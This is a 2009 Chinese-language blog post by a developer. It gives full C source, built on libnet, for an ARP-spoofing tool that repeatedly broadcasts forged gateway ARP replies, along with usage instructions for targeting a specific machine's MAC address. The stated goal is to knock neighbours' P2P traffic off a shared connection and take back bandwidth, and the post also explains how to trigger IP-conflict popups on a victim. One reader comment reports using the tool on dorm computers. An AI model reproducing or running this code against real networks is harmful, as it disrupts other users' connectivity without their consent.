Heath's Blog

There is no end, it is just the beginning! - A Game Developer's Notes

Using libnet to send arp package

    把本子的系统换成OpenSuse11.1后,发现与别人合用1M带宽几乎不能访问网络,在多次声明限制P2P下载速度无果后,想到了以前使用P2P Killer的经验,决定自己写一个发送arp伪造应答包的程序。
    P2P Killer中文名为P2P终结者,其原理是监听arp数据包,根据设定带宽,利用一定的时间间隔算法发送伪造的arp应答包。
    由于arp属于链路层协议,如果利用原始套接字来做,估计半天时间完不成,所以搜索了一下,发现libnet是个比较成熟的网络库。libnet几乎涵盖了整个TCP/IP协议:


    使用libnet来构造这么一个小应用,应该是小菜一碟。

    下面是source codes:

/**
    A APR reply package sender

    @author heath(heath.luo@gmail.com)
    @date Jan. 17, 2009
    @version 0.01
*/


#include 
<stdio.h>
#include 
<libnet.h>

#ifndef HRD_ALEN
#define HRD_ALEN 6    ///< hardware address length
#endif

#ifndef PRO_ALEN
#define PRO_ALEN 4    ///< protocol address format 
#endif

static u_char ucHdr_src[HRD_ALEN] = {0x11 , 0x22 , 0x33 , 0x44 , 0x55 , 0x66};
static u_char ucHdr_dst[HRD_ALEN] = {0xff , 0xff , 0xff , 0xff , 0xff , 0xff};    ///< broadcasting by default

static u_char ucPro_src[PRO_ALEN] = {192 , 168 , 1 , 1};
static u_char ucPro_dst[PRO_ALEN] = {192 , 168 , 1 , 2};

void Usage();
void ParseParams(int argc , char** argv);
void TestParams();
void SendPackage();

int main(int argc , char** argv)
{
    ParseParams(argc , argv);
    TestParams();
    SendPackage();
}


void Usage()
{
    printf(
"-h : help\n-d : target hardware address(using \'-\' to seperate)\n-m : sender hardware address(using \'-\' to seperate)\n-i : sender ip address(using \'.\' to seperate)\n");
}


void ParseParams(int argc , char** argv)
{
    
int c;
    u_char
* cp;
    
int i;
    u_char bError;

    
while((c = getopt(argc , argv , "hd:m:i:")) != -1)
    
{
        
switch(c)
        
{
        
case 'h':
            Usage();
            
break;
        
case 'd':
            bError 
= 0;
            
for(i = 1; i <= HRD_ALEN - 1++i)
            
{
                
if((cp = strrchr(optarg , '-')))
                
{
                    
*cp++ = 0;
                    ucHdr_dst[HRD_ALEN 
- i] = (u_char)strtol(cp , NULL , 16);
                }

                
else
                    bError 
= 1;
            }

            
if(bError)
            
{
                printf(
"Parameters Error!\n");
                Usage();
                exit(
-1);
            }

            
else
                ucHdr_dst[
0= (u_char)strtol(optarg , NULL , 16);
            
break;
        
case 'm':
            bError 
= 0;
            
for(i = 1; i <= HRD_ALEN - 1++i)
            
{
                
if((cp = strrchr(optarg , '-')))
                
{
                    
*cp++ = 0;
                    ucHdr_src[HRD_ALEN 
- i] = (u_char)strtol(cp , NULL , 16);
                }

                
else
                    bError 
= 1;
            }

            
if(bError)
            
{
                printf(
"Parameters Error!\n");
                Usage();
                exit(
-1);
            }

            
else
                ucHdr_src[
0= (u_char)strtol(optarg , NULL , 16);
            
break;
        
case 'i':
            bError 
= 0;
            
for(i = 1; i <= PRO_ALEN - 1++i)
            
{
                
if((cp = strrchr(optarg , '.')))
                
{
                    
*cp++ = 0;
                    ucPro_src[PRO_ALEN 
- i] = (u_char)atoi(cp);
                }

                
else
                    bError 
= 1;
            }

            
if(bError)
            
{
                printf(
"Parameters Error!\n");
                Usage();
                exit(
-1);
            }

            
else
                ucPro_src[
0= (u_char)atoi(optarg);
            
break;
        
default:
            Usage();
        }

    }

}


void TestParams()
{
    printf(
"======Parameters======\n");
    printf(
"ucHdr_src : %x , %x , %x , %x , %x , %x\n" , ucHdr_src[0] , ucHdr_src[1] , ucHdr_src[2] , ucHdr_src[3] ,ucHdr_src[4] , ucHdr_src[5]);
    printf(
"ucHdr_dst : %x , %x , %x , %x , %x , %x\n" , ucHdr_dst[0] , ucHdr_dst[1] , ucHdr_dst[2] , ucHdr_dst[3] ,ucHdr_dst[4] , ucHdr_dst[5]);
    printf(
"ucPro_src : %x , %x , %x , %x\n" , ucPro_src[0] , ucPro_src[1] , ucPro_src[2] , ucPro_src[3]);
    printf(
"ucPro_dst : %x , %x , %x , %x\n" , ucPro_dst[0] , ucPro_dst[1] , ucPro_dst[2] , ucPro_dst[3]);
    printf(
"======End=====\n");
}


void SendPackage()
{
    libnet_t
* pLibnet = NULL;
    
char strError[LIBNET_ERRBUF_SIZE];
    libnet_ptag_t ptArp 
= 0;
    libnet_ptag_t ptEth 
= 0;

    pLibnet 
= libnet_init(LIBNET_LINK , "eth0" , strError);
    
if(!pLibnet)
    
{
        printf(
"Libnet Error in libnet_init:%s\n" , strError);
        exit(
-1);
    }


    ptArp 
= libnet_build_arp(ARPHRD_ETHER , ETHERTYPE_IP , 
        HRD_ALEN , PRO_ALEN , 
        ARPOP_REPLY , 
        ucHdr_src , ucPro_src ,
        ucHdr_dst , ucPro_dst ,
        NULL , 
0 ,
        pLibnet ,
        ptArp);
    
if(ptArp < 0)
    
{
        printf(
"Libnet Error in libnet_build_arp!\n");
        exit(
-1);
    }


    ptEth 
= libnet_build_ethernet(ucHdr_dst , ucHdr_src ,
        ETHERTYPE_ARP , NULL , 
0 , pLibnet , ptEth);
    
if(ptEth < 0)
    
{
        printf(
"Libnet Error in libnet_build_ethernet!\n");
        exit(
-1);
    }

    
    
while(1)
{
    
if(libnet_write(pLibnet) < 0)
    
{
        printf(
"Libnet Error in libnet_write!\n");
        exit(
-1);
    }

    sleep(
5);
}

    libnet_destroy(pLibnet);
}


    由于ARP处于link layer,所以目标协议地址(由ucPro_dst给出)是没用的。对于ARP数据包格式的详细说明,可以参考《TCP-IP详解卷1》第4章。
    该程序缺省情况下是伪造网关(192.168.1.1)的MAC地址广播给网段内所有机器。如果想针对特定机器发送,可以通过-d来指定其MAC地址:
    arphacker -d <目标机MAC地址> -m <欲伪造的arp应答发送方MAC地址> -i <欲伪造的arp应答发送方IP地址>
    利用ping+arp命令获得对方的MAC地址后,每隔一定时间发送伪造网关的MAC地址,可使对方的大量P2P数据包找不到北,从而给自己留出带宽。
    如果你希望给予对方提示,让其弹出“IP地址冲突”气球(windows平台有效),可以将-m后的参数改为一个与目标机不一样的MAC地址,而-i给出目标机的IP。
    下图为在虚拟机上运行的截图:


NOTE: 本人开发此程序实属被逼无奈,在连打开网页、上QQ的基本权力被剥夺之后,决定拿起自己手中之剑,维护自己的权益。昨天晚上,使用了一下,可以上网了,这也算是写代码带来的乐趣吧。

参考文献:
[1] libnet. http://www.packetfactory.net/libnet/

posted on 2009-01-18 16:28 Heath 阅读(2045) 评论(4)  编辑 收藏 引用 所属分类: Network

Feedback

# re: Using libnet to send arp package 2009-01-19 09:23 J.A.M

代码看不懂,
对网络不了解,学习...  回复  更多评论   

# re: Using libnet to send arp package 2009-05-17 16:45 asdrtf

很好用,我用宿舍的电脑试了一下,不错,包括虚拟机在内都有!  回复  更多评论   

# re: Using libnet to send arp package 2009-07-30 11:22 evoup

是ARP攻击吧,这都被你想到了,用此法攻击网上邻居,汗~  回复  更多评论   

# re: Using libnet to send arp package 2009-12-05 21:08 parkerzhu

好文,学习了,有空GUI化一下^_^  回复  更多评论   


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理